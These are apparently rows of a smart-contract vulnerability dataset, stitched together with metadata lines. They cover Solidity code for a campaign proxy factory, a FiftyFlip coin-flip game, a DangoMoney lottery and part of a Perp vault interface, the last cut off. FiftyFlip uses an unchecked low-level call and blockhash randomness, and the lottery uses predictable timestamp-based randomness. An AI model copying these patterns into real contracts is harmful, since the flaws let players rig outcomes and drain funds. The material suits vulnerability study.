// Set initial arguments inside Logic Handler contract
IHandleCampaignDeployment(proxyLogicHandler).setInitialParamsLogicHandler(valuesLogicHandler,
_currency,
addresses[0], //asset contract erc20
addresses[1], // moderator
msg.sender,
proxyAcquisition,
address(TWO_KEY_SINGLETON_REGISTRY),
proxyConversions);
// Set initial arguments inside AcquisitionCampaign contract
IHandleCampaignDeployment(proxyAcquisition).setInitialParamsCampaign(address(TWO_KEY_SINGLETON_REGISTRY),
address(proxyLogicHandler),
address(proxyConversions),
addresses[1], //moderator
addresses[0], //asset contract
msg.sender, //contractor
getNonUpgradableContractAddressFromTwoKeySingletonRegistry("TwoKeyEconomy"),
values);
// Validate campaign so it will be approved to interact (and write) to/with our singleton contracts
ITwoKeyCampaignValidator(getAddressFromTwoKeySingletonRegistry(_twoKeyCampaignValidator))
.validateAcquisitionCampaign(proxyAcquisition, _nonSingletonHash);
setAddressToCampaignType(proxyAcquisition, "TOKEN_SELL");
ITwoKeyEventSourceEvents(getAddressFromTwoKeySingletonRegistry(_twoKeyEventSource))
.acquisitionCampaignCreated(proxyLogicHandler,
proxyConversions,
proxyAcquisition,
proxyPurchasesHandler,
plasmaOf(msg.sender));
}
function createProxiesForDonationCampaign(address _moderator,
uint [] numberValues,
bool [] booleanValues,
string _currency,
string tokenName,
string tokenSymbol,
string nonSingletonHash)
public
{
// Deploying a proxy contract for donations
address proxyDonationCampaign = createProxyForCampaign("DONATION","TwoKeyDonationCampaign");
//Deploying a proxy contract for donation conversion handler
address proxyDonationConversionHandler = createProxyForCampaign("DONATION","TwoKeyDonationConversionHandler");
//Deploying a proxy contract for donation logic handler
address proxyDonationLogicHandler = createProxyForCampaign("DONATION","TwoKeyDonationLogicHandler");
IHandleCampaignDeployment(proxyDonationLogicHandler).setInitialParamsDonationLogicHandler(numberValues,
_currency,
msg.sender,
_moderator,
TWO_KEY_SINGLETON_REGISTRY,
proxyDonationCampaign,
proxyDonationConversionHandler);
// Set initial parameters under Donation conversion handler
IHandleCampaignDeployment(proxyDonationConversionHandler).setInitialParamsDonationConversionHandler(tokenName,
tokenSymbol,
_currency,
msg.sender, //contractor
proxyDonationCampaign,
address(TWO_KEY_SINGLETON_REGISTRY));
//
// Set initial parameters under Donation campaign contract
IHandleCampaignDeployment(proxyDonationCampaign).setInitialParamsDonationCampaign(msg.sender, //contractor
_moderator, //moderator address
TWO_KEY_SINGLETON_REGISTRY,
proxyDonationConversionHandler,
proxyDonationLogicHandler,
numberValues,
booleanValues);
// Validate campaign
ITwoKeyCampaignValidator(getAddressFromTwoKeySingletonRegistry(_twoKeyCampaignValidator))
.validateDonationCampaign(proxyDonationCampaign,
proxyDonationConversionHandler,
proxyDonationLogicHandler,
nonSingletonHash);
setAddressToCampaignType(proxyDonationCampaign, "DONATION");
ITwoKeyEventSourceEvents(getAddressFromTwoKeySingletonRegistry(_twoKeyEventSource))
.donationCampaignCreated(proxyDonationCampaign,
proxyDonationConversionHandler,
proxyDonationLogicHandler,
plasmaOf(msg.sender));
}
function createProxyForCPCCampaign(string _url,
uint _bountyPerConversion,
address _mirrorCampaignOnPlasma,
string _nonSingletonHash)
public
{
address proxyCPC = createProxyForCampaign("CPC_PUBLIC","TwoKeyCPCCampaign");
IHandleCampaignDeployment(proxyCPC).setInitialParamsCPCCampaign(msg.sender,
TWO_KEY_SINGLETON_REGISTRY,
_url,
_mirrorCampaignOnPlasma,
_bountyPerConversion,
getNonUpgradableContractAddressFromTwoKeySingletonRegistry("TwoKeyEconomy"));
setAddressToCampaignType(proxyCPC, "CPC_PUBLIC");
//Validate campaign
ITwoKeyCampaignValidator(getAddressFromTwoKeySingletonRegistry(_twoKeyCampaignValidator))
.validateCPCCampaign(proxyCPC,
_nonSingletonHash);
//Emit event that TwoKeyCPCCampaign contract is created
ITwoKeyEventSourceEvents(getAddressFromTwoKeySingletonRegistry(_twoKeyEventSource))
.cpcCampaignCreated(proxyCPC,
plasmaOf(msg.sender));
}
function setAddressToCampaignType(address _campaignAddress, string _campaignType) internal {
bytes32 keyHash = keccak256(_addressToCampaignType, _campaignAddress);
PROXY_STORAGE_CONTRACT.setString(keyHash, _campaignType);
}
function addressToCampaignType(address _key) public view returns (string) {
return PROXY_STORAGE_CONTRACT.getString(keccak256(_addressToCampaignType, _key));
}
function plasmaOf(address _address) internal view returns (address) {
address twoKeyEventSource = getAddressFromTwoKeySingletonRegistry(_twoKeyEventSource);
address plasma = ITwoKeyEventSourceEvents(twoKeyEventSource).plasmaOf(_address);
return plasma;
}
}
contract UpgradeabilityCampaignStorage {
// Address of the current implementation
address internal _implementation;
function implementation() public view returns (address) {
return _implementation;
}
}
contract ProxyCampaign is Proxy, UpgradeabilityCampaignStorage {
constructor (string _contractName, string _version, address twoKeySingletonRegistry) public {
_implementation = ITwoKeySingletonesRegistry(twoKeySingletonRegistry).getVersion(_contractName, _version);
}
}
contract UpgradeableCampaign is UpgradeabilityCampaignStorage {
}
| 226,616 | 759 |
fb1f19d71ee18ccaed12cf752006dff615ef6d66b0b45686d1048118fba65742
| 12,393 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xe09b1ab8111c2729a76f16de96bc86a7af837928.sol
| 3,032 | 11,755 |
pragma solidity ^0.4.24;
contract FiftyFlip {
uint constant DONATING_X = 20; // 2% kujira
// Need to be discussed
uint constant JACKPOT_FEE = 10; // 1% jackpot
uint constant JACKPOT_MODULO = 1000; // 0.1% jackpotwin
uint constant DEV_FEE = 20; // 2% devfee
uint constant WIN_X = 1900; // 1.9x
// There is minimum and maximum bets.
uint constant MIN_BET = 0.01 ether;
uint constant MAX_BET = 1 ether;
uint constant BET_EXPIRATION_BLOCKS = 250;
// owner and PoC contract address
address public owner;
address public autoPlayBot;
address public secretSigner;
address private whale;
// Accumulated jackpot fund.
uint256 public jackpotSize;
uint256 public devFeeSize;
// Funds that are locked in potentially winning bets.
uint256 public lockedInBets;
uint256 public totalAmountToWhale;
struct Bet {
// Wager amount in wei.
uint amount;
// Block number of placeBet tx.
uint256 blockNumber;
// Bit mask representing winning bet outcomes (see MAX_MASK_MODULO comment).
bool betMask;
// Address of a player, used to pay out winning bets.
address player;
}
mapping (uint => Bet) bets;
mapping (address => uint) donateAmount;
// events
event Wager(uint ticketID, uint betAmount, uint256 betBlockNumber, bool betMask, address betPlayer);
event Win(address winner, uint amount, uint ticketID, bool maskRes, uint jackpotRes);
event Lose(address loser, uint amount, uint ticketID, bool maskRes, uint jackpotRes);
event Refund(uint ticketID, uint256 amount, address requester);
event Donate(uint256 amount, address donator);
event FailedPayment(address paidUser, uint amount);
event Payment(address noPaidUser, uint amount);
event JackpotPayment(address player, uint ticketID, uint jackpotWin);
// constructor
constructor (address whaleAddress, address autoPlayBotAddress, address secretSignerAddress) public {
owner = msg.sender;
autoPlayBot = autoPlayBotAddress;
whale = whaleAddress;
secretSigner = secretSignerAddress;
jackpotSize = 0;
devFeeSize = 0;
lockedInBets = 0;
totalAmountToWhale = 0;
}
// modifiers
modifier onlyOwner() {
require (msg.sender == owner, "You are not the owner of this contract!");
_;
}
modifier onlyBot() {
require (msg.sender == autoPlayBot, "You are not the bot of this contract!");
_;
}
modifier checkContractHealth() {
require (address(this).balance >= lockedInBets + jackpotSize + devFeeSize, "This contract doesn't have enough balance, it is stopped till someone donate to this game!");
_;
}
// betMast:
// false is front, true is back
function() public payable { }
function setBotAddress(address autoPlayBotAddress)
onlyOwner()
external
{
autoPlayBot = autoPlayBotAddress;
}
function setSecretSigner(address _secretSigner)
onlyOwner()
external
{
secretSigner = _secretSigner;
}
// wager function
function wager(bool bMask, uint ticketID, uint ticketLastBlock, uint8 v, bytes32 r, bytes32 s)
checkContractHealth()
external
payable {
Bet storage bet = bets[ticketID];
uint amount = msg.value;
address player = msg.sender;
require (bet.player == address(0), "Ticket is not new one!");
require (amount >= MIN_BET, "Your bet is lower than minimum bet amount");
require (amount <= MAX_BET, "Your bet is higher than maximum bet amount");
require (getCollateralBalance() >= 2 * amount, "If we accept this, this contract will be in danger!");
require (block.number <= ticketLastBlock, "Ticket has expired.");
bytes32 signatureHash = keccak256(abi.encodePacked('\x19Ethereum Signed Message:\n37', uint40(ticketLastBlock), ticketID));
require (secretSigner == ecrecover(signatureHash, v, r, s), "web3 vrs signature is not valid.");
jackpotSize += amount * JACKPOT_FEE / 1000;
devFeeSize += amount * DEV_FEE / 1000;
lockedInBets += amount * WIN_X / 1000;
uint donate_amount = amount * DONATING_X / 1000;
whale.call.value(donate_amount)(bytes4(keccak256("donate()")));
totalAmountToWhale += donate_amount;
bet.amount = amount;
bet.blockNumber = block.number;
bet.betMask = bMask;
bet.player = player;
emit Wager(ticketID, bet.amount, bet.blockNumber, bet.betMask, bet.player);
}
// method to determine winners and losers
function play(uint ticketReveal)
checkContractHealth()
external
{
uint ticketID = uint(keccak256(abi.encodePacked(ticketReveal)));
Bet storage bet = bets[ticketID];
require (bet.player != address(0), "TicketID is not correct!");
require (bet.amount != 0, "Ticket is already used one!");
uint256 blockNumber = bet.blockNumber;
if(blockNumber < block.number && blockNumber >= block.number - BET_EXPIRATION_BLOCKS)
{
uint256 random = uint256(keccak256(abi.encodePacked(blockhash(blockNumber), ticketReveal)));
bool maskRes = (random % 2) !=0;
uint jackpotRes = random % JACKPOT_MODULO;
uint tossWinAmount = bet.amount * WIN_X / 1000;
uint tossWin = 0;
uint jackpotWin = 0;
if(bet.betMask == maskRes) {
tossWin = tossWinAmount;
}
if(jackpotRes == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
if (jackpotWin > 0) {
emit JackpotPayment(bet.player, ticketID, jackpotWin);
}
if(tossWin + jackpotWin > 0)
{
payout(bet.player, tossWin + jackpotWin, ticketID, maskRes, jackpotRes);
}
else
{
loseWager(bet.player, bet.amount, ticketID, maskRes, jackpotRes);
}
lockedInBets -= tossWinAmount;
bet.amount = 0;
}
else
{
revert();
}
}
function donateForContractHealth()
external
payable
{
donateAmount[msg.sender] += msg.value;
emit Donate(msg.value, msg.sender);
}
function withdrawDonation(uint amount)
external
{
require(donateAmount[msg.sender] >= amount, "You are going to withdraw more than you donated!");
if (sendFunds(msg.sender, amount)){
donateAmount[msg.sender] -= amount;
}
}
// method to refund
function refund(uint ticketID)
checkContractHealth()
external {
Bet storage bet = bets[ticketID];
require (bet.amount != 0, "this ticket has no balance");
require (block.number > bet.blockNumber + BET_EXPIRATION_BLOCKS, "this ticket is expired.");
sendRefund(ticketID);
}
// Funds withdrawl
function withdrawDevFee(address withdrawAddress, uint withdrawAmount)
onlyOwner()
checkContractHealth()
external {
require (devFeeSize >= withdrawAmount, "You are trying to withdraw more amount than developer fee.");
require (withdrawAmount <= address(this).balance, "Contract balance is lower than withdrawAmount");
require (devFeeSize <= address(this).balance, "Not enough funds to withdraw.");
if (sendFunds(withdrawAddress, withdrawAmount)){
devFeeSize -= withdrawAmount;
}
}
// Funds withdrawl
function withdrawBotFee(uint withdrawAmount)
onlyBot()
checkContractHealth()
external {
require (devFeeSize >= withdrawAmount, "You are trying to withdraw more amount than developer fee.");
require (withdrawAmount <= address(this).balance, "Contract balance is lower than withdrawAmount");
require (devFeeSize <= address(this).balance, "Not enough funds to withdraw.");
if (sendFunds(autoPlayBot, withdrawAmount)){
devFeeSize -= withdrawAmount;
}
}
// Get Bet Info from id
function getBetInfo(uint ticketID)
constant
external
returns (uint, uint256, bool, address){
Bet storage bet = bets[ticketID];
return (bet.amount, bet.blockNumber, bet.betMask, bet.player);
}
// Get Bet Info from id
function getContractBalance()
constant
external
returns (uint){
return address(this).balance;
}
// Get Collateral for Bet
function getCollateralBalance()
constant
public
returns (uint){
if (address(this).balance > lockedInBets + jackpotSize + devFeeSize)
return address(this).balance - lockedInBets - jackpotSize - devFeeSize;
return 0;
}
// Contract may be destroyed only when there are no ongoing bets,
// either settled or refunded. All funds are transferred to contract owner.
function kill() external onlyOwner() {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
// Payout ETH to winner
function payout(address winner, uint ethToTransfer, uint ticketID, bool maskRes, uint jackpotRes)
internal
{
winner.transfer(ethToTransfer);
emit Win(winner, ethToTransfer, ticketID, maskRes, jackpotRes);
}
// sendRefund to requester
function sendRefund(uint ticketID)
internal
{
Bet storage bet = bets[ticketID];
address requester = bet.player;
uint256 ethToTransfer = bet.amount;
requester.transfer(ethToTransfer);
uint tossWinAmount = bet.amount * WIN_X / 1000;
lockedInBets -= tossWinAmount;
bet.amount = 0;
emit Refund(ticketID, ethToTransfer, requester);
}
// Helper routine to process the payment.
function sendFunds(address paidUser, uint amount) private returns (bool){
bool success = paidUser.send(amount);
if (success) {
emit Payment(paidUser, amount);
} else {
emit FailedPayment(paidUser, amount);
}
return success;
}
// Payout ETH to whale when player loses
function loseWager(address player, uint amount, uint ticketID, bool maskRes, uint jackpotRes)
internal
{
emit Lose(player, amount, ticketID, maskRes, jackpotRes);
}
// bulk clean the storage.
function clearStorage(uint[] toCleanTicketIDs) external {
uint length = toCleanTicketIDs.length;
for (uint i = 0; i < length; i++) {
clearProcessedBet(toCleanTicketIDs[i]);
}
}
// Helper routine to move 'processed' bets into 'clean' state.
function clearProcessedBet(uint ticketID) private {
Bet storage bet = bets[ticketID];
// Do not overwrite active bets with zeros; additionally prevent cleanup of bets
// for which ticketID signatures may have not expired yet (see whitepaper for details).
if (bet.amount != 0 || block.number <= bet.blockNumber + BET_EXPIRATION_BLOCKS) {
return;
}
bet.blockNumber = 0;
bet.betMask = false;
bet.player = address(0);
}
function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens)
public
onlyOwner()
returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
}
//Define ERC20Interface.transfer, so PoCWHALE can transfer tokens accidently sent to it.
contract ERC20Interface
{
function transfer(address to, uint256 tokens) public returns (bool success);
}
| 220,995 | 760 |
223b3346940610412eb7f1a264c051648a76a53e707ec466040e8902c484e69f
| 26,232 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xDB2F2A88D57A85726643Cf3104332074C34F2e23/contract.sol
| 4,134 | 12,924 |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{
value: weiValue
}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeBEP20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IBEP20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token,
abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector,
spender,
newAllowance));
}
function safeDecreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value,
"SafeERC20: decreased allowance below zero");
_callOptionalReturn(token,
abi.encodeWithSelector(token.approve.selector,
spender,
newAllowance));
}
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data,
"SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)),
"SafeERC20: ERC20 operation did not succeed");
}
}
}
contract DangoMoneyLottery2 is Ownable {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
IBEP20 internal _airDropToken;
mapping(address => uint256) internal _claimList;
mapping(address => bool) internal _blacklist;
uint256[] internal _randomClaimTokens;
uint256 internal _paidTokens = 0;
uint256 internal _remainingTokens = 0;
uint256 internal _lotteryOpenAt = 0;
uint256 internal _claimTokenFeeInWei = 3 * 1e16;
constructor(address airDropToken,
uint256 lotteryOpenAt,
uint256 claimTokenFeeInWei,
uint256 totalTokens) {
_airDropToken = IBEP20(airDropToken);
_claimTokenFeeInWei = claimTokenFeeInWei;
_remainingTokens = totalTokens;
_lotteryOpenAt = lotteryOpenAt;
uint256 valueOfTokens = 1e4; // 0.01
for (uint256 i = 0; i < 50; i++) {
_randomClaimTokens.push(valueOfTokens);
valueOfTokens = valueOfTokens.add(1e4);
}
}
function claimLottery() external payable returns (bool) {
// Check fee
require(msg.value >= _claimTokenFeeInWei, "Invalid transaction fee.");
require(block.timestamp >= _lotteryOpenAt, "Lottery is not available now.");
require(_blacklist[msg.sender] == false,
"You are in blacklist please contact administrator for more detail information.");
require(_remainingTokens > 0,
"DANGO tokens had been distributed to lottery users.");
// Get random amount
uint256 winAmount = getRandomAmount();
require(winAmount > 0, "Invalid amount to claim.");
if (winAmount > _remainingTokens) {
winAmount = _remainingTokens;
}
// Check balance
uint256 contractBalance = _airDropToken.balanceOf(address(this));
require(contractBalance >= winAmount,
"Balance is not enough to claim.");
// Send tokens
_airDropToken.safeTransfer(msg.sender, winAmount);
_claimList[msg.sender] = _claimList[msg.sender].add(winAmount);
_paidTokens = _paidTokens.add(winAmount);
_remainingTokens = _remainingTokens.sub(winAmount);
// Emit transfer event
emit TokenClaimSuccessful(msg.sender,
winAmount,
block.number,
block.timestamp);
return true;
}
function updateRandomList(uint256[] calldata randomClaimTokens)
external
onlyOwner
returns (bool)
{
for (uint256 i = 0; i < randomClaimTokens.length; i++) {
_randomClaimTokens.push(randomClaimTokens[i]);
}
return true;
}
function addToBlacklist(address wallet) external onlyOwner returns (bool) {
_blacklist[wallet] = true;
emit AddNewBlacklist(wallet, block.number, block.timestamp);
return true;
}
function removeFromBlacklist(address wallet)
external
onlyOwner
returns (bool)
{
_blacklist[wallet] = false;
emit RemoveFromBlacklist(wallet, block.number, block.timestamp);
return true;
}
function myLotteryInfo()
external
view
returns (uint256,
uint256,
uint256)
{
return (_paidTokens, _remainingTokens, _claimList[msg.sender]);
}
function withdrawUnclaimTokensToPool(address _pool, uint256 _amount)
external
onlyOwner
returns (bool)
{
require(_amount > 0, "Invalid amount to transfer to pool.");
// Check balance
uint256 contractBalance = _airDropToken.balanceOf(address(this));
require(contractBalance >= _amount, "Balance is not enough to claim.");
// Send tokens
_airDropToken.safeTransfer(_pool, _amount);
_claimList[_pool] = _amount;
_paidTokens = _paidTokens.add(_amount);
_remainingTokens = _remainingTokens.sub(_amount);
// Emit transfer event
emit TokenClaimSuccessful(msg.sender,
_amount,
block.number,
block.timestamp);
return true;
}
function withdrawTransactionFee() public onlyOwner returns (bool) {
require(address(this).balance > 0, "Invalid amount to withdraw");
msg.sender.transfer(address(this).balance);
return true;
}
// Get random number in range 0 - (_randomClaimTokens.length + 1)
function random() internal view returns (uint256) {
uint256 arrayLength = _randomClaimTokens.length;
return
uint256(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % arrayLength);
}
function getRandomAmount() internal view returns (uint256) {
uint256 randomIndex = random();
return _randomClaimTokens[randomIndex];
}
// Events
event TokenClaimSuccessful(address indexed wallet,
uint256 amount,
uint256 atBlock,
uint256 datetime);
event NewBuyerPushed(address indexed wallet,
uint256 amount,
uint256 atBlock,
uint256 datetime);
event BuyerUpdated(address indexed wallet,
uint256 amount,
uint256 atBlock,
uint256 datetime);
event AddNewBlacklist(address indexed wallet,
uint256 atBlock,
uint256 datetime);
event RemoveFromBlacklist(address indexed wallet,
uint256 atBlock,
uint256 datetime);
}
| 257,151 | 761 |
b3be76dac6dbe4d7c732b6b09fd258020f25a5bbd65e0fd9202d2566f5ff830a
| 15,473 |
.sol
|
Solidity
| false |
468407125
|
tintinweb/smart-contract-sanctuary-optimism
|
5f86f1320e8b5cdf11039be240475eff1303ed67
|
contracts/mainnet/80/808fa0EEF189E102fE8dA31D02fB19Db6f490AFF_Perp_Booster_2.sol
| 3,139 | 13,601 |
pragma solidity 0.8.7;
pragma abicoder v2;
interface IVault {
/// @notice Emitted when trader deposit collateral into vault
/// @param collateralToken The address of token deposited
/// @param trader The address of trader
/// @param amount The amount of token deposited
event Deposited(address indexed collateralToken, address indexed trader, uint256 amount);
/// @notice Emitted when trader withdraw collateral from vault
/// @param collateralToken The address of token withdrawn
/// @param trader The address of trader
/// @param amount The amount of token withdrawn
event Withdrawn(address indexed collateralToken, address indexed trader, uint256 amount);
/// @notice Emitted when a trader's collateral is liquidated
/// @param trader The address of trader
/// @param collateralToken The address of the token that is liquidated
/// @param liquidator The address of liquidator
/// @param collateral The amount of collateral token liquidated
/// @param repaidSettlementWithoutInsuranceFundFeeX10_S The amount of settlement token repaid
/// for trader (in settlement token's decimals)
/// @param discountRatio The discount ratio of liquidation price
event CollateralLiquidated(address indexed trader,
address indexed collateralToken,
address indexed liquidator,
uint256 collateral,
uint256 repaidSettlementWithoutInsuranceFundFeeX10_S,
uint256 insuranceFundFeeX10_S,
uint24 discountRatio);
/// @notice Emitted when trustedForwarder is changed
/// @dev trustedForwarder is only used for metaTx
/// @param trustedForwarder The address of trustedForwarder
event TrustedForwarderChanged(address indexed trustedForwarder);
/// @notice Emitted when clearingHouse is changed
/// @param clearingHouse The address of clearingHouse
event ClearingHouseChanged(address indexed clearingHouse);
/// @notice Emitted when collateralManager is changed
/// @param collateralManager The address of collateralManager
event CollateralManagerChanged(address indexed collateralManager);
/// @notice Emitted when WETH9 is changed
/// @param WETH9 The address of WETH9
event WETH9Changed(address indexed WETH9);
/// @notice Deposit collateral into vault
/// @param token The address of the token to deposit
/// @param amount The amount of the token to deposit
function deposit(address token, uint256 amount) external;
/// @notice Deposit the collateral token for other account
/// @param to The address of the account to deposit to
/// @param token The address of collateral token
/// @param amount The amount of the token to deposit
function depositFor(address to,
address token,
uint256 amount) external;
/// @notice Deposit ETH as collateral into vault
function depositEther() external payable;
/// @notice Deposit ETH as collateral for specified account
/// @param to The address of the account to deposit to
function depositEtherFor(address to) external payable;
/// @notice Withdraw collateral from vault
/// @param token The address of the token to withdraw
/// @param amount The amount of the token to withdraw
function withdraw(address token, uint256 amount) external;
/// @notice Withdraw ETH from vault
/// @param amount The amount of the ETH to withdraw
function withdrawEther(uint256 amount) external;
/// @notice Withdraw all free collateral from vault
/// @param token The address of the token to withdraw
/// @return amount The amount of the token withdrawn
function withdrawAll(address token) external returns (uint256 amount);
/// @notice Withdraw all free collateral of ETH from vault
/// @return amount The amount of ETH withdrawn
function withdrawAllEther() external returns (uint256 amount);
/// @param trader The address of trader that will be liquidated
/// @param token The address of non settlement collateral token that the trader will be liquidated
/// @param amount The amount of settlement token that the liquidator will repay for trader or
/// when `isDenominatedInSettlementToken` is false
function liquidateCollateral(address trader,
address token,
uint256 amount,
bool isDenominatedInSettlementToken) external returns (uint256 returnAmount);
/// @notice Get the specified trader's settlement token balance, without pending fee, funding payment
/// and owed realized PnL
/// @dev The function is equivalent to `getBalanceByToken(trader, settlementToken)`
/// because the latter includes pending fee, funding payment etc.
/// and therefore more accurately reflects a trader's settlement (ex. USDC) balance
/// @return balance The balance amount (in settlement token's decimals)
function getBalance(address trader) external view returns (int256 balance);
/// @notice Get the balance of Vault of the specified collateral token and trader
/// @param trader The address of the trader
/// @param token The address of the collateral token
/// @return balance The balance amount (in its native decimals)
function getBalanceByToken(address trader, address token) external view returns (int256 balance);
/// @notice Get they array of collateral token addresses that a trader has
/// @return collateralTokens array of collateral token addresses
function getCollateralTokens(address trader) external view returns (address[] memory collateralTokens);
/// @notice Get account value of the specified trader
/// @param trader The address of the trader
/// @return accountValueX10_S account value (in settlement token's decimals)
function getAccountValue(address trader) external view returns (int256 accountValueX10_S);
/// @notice Get the free collateral value denominated in the settlement token of the specified trader
/// @param trader The address of the trader
/// @return freeCollateral the value (in settlement token's decimals) of free collateral available
/// for withdraw or opening new positions or orders)
function getFreeCollateral(address trader) external view returns (uint256 freeCollateral);
/// @notice Get the free collateral amount of the specified trader and collateral ratio
/// @dev There are three configurations for different insolvency risk tolerances:
/// **conservative, moderate &aggressive**. We will start with the **conservative** one
/// and gradually move to **aggressive** to increase capital efficiency
/// @param trader The address of the trader
/// @param ratio The margin requirement ratio, imRatio or mmRatio
/// @return freeCollateralByRatio freeCollateral (in settlement token's decimals), by using the
/// input margin requirement ratio; can be negative
function getFreeCollateralByRatio(address trader, uint24 ratio)
external
view
returns (int256 freeCollateralByRatio);
/// @notice Get the free collateral amount of the specified collateral token of specified trader
/// @param trader The address of the trader
/// @param token The address of the collateral token
/// @return freeCollateral amount of that token (in the token's native decimals)
function getFreeCollateralByToken(address trader, address token) external view returns (uint256 freeCollateral);
/// @notice Get the specified trader's settlement value, including pending fee, funding payment,
/// owed realized PnL and unrealized PnL
/// They are all settlement token balances but with or without
